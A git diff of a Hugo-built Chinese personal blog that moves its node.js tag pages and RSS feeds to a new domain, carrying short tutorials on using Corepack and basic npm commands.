href=https://xiaochenabc123.github.io/tags/node.js/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="node.js"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/node.js/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="node.js"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>node.js</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>node.js | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/node.js/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/node.js/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="node.js"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/node.js/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="node.js"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>node.js</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
-如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
-启用corepack
-corepack enable
-限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-"packageManager": "yarn@1.22.19"
-表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+"packageManager": "yarn@1.22.19" 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
-指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
-使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
-启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
-或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://xiaochenabc123.github.io/posts/149/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://chenjunlinabc.github.io/posts/149/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://xiaochenabc123.github.io/posts/31/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://chenjunlinabc.github.io/posts/31/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/node.js/index.xml b/tags/node.js/index.xml
index ecf60e47..655d2d87 100644
--- a/tags/node.js/index.xml
+++ b/tags/node.js/index.xml
@@ -2,48 +2,48 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>node.js on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/node.js/</link>
+    <link>https://chenjunlinabc.github.io/tags/node.js/</link>
     <description>Recent content in node.js on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 13 May 2022 00:09:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/node.js/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 13 May 2022 00:09:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/node.js/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Corepack-包管理器的管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/149/</link>
+      <link>https://chenjunlinabc.github.io/posts/149/</link>
       <pubDate>Fri, 13 May 2022 00:09:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/149/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/149/</guid>
       <description>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
 corepack hydrate D:/demo/test.tgz --activate </description>
     </item>
     
     <item>
       <title>node.js包管理工具npm的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/31/</link>
+      <link>https://chenjunlinabc.github.io/posts/31/</link>
       <pubDate>Wed, 16 Jun 2021 15:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/31/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/31/</guid>
       <description>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &amp;ndash;dependencies 只安装package.json里的dependencies的文件 npm install &amp;ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
diff --git a/tags/node.js/page/1/index.html b/tags/node.js/page/1/index.html
index 806a3a87..5f534177 100644
--- a/tags/node.js/page/1/index.html
+++ b/tags/node.js/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/node.js/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/node.js/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/node.js/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/node.js/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/node.js/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/node.js/"></head></html>
\ No newline at end of file
diff --git a/tags/nodejs/index.html b/tags/nodejs/index.html
index 58f6357f..6bb53b88 100644
--- a/tags/nodejs/index.html
+++ b/tags/nodejs/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nodejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/nodejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/nodejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nodejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/nodejs/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nodejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>nodejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nodejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/nodejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/nodejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nodejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" 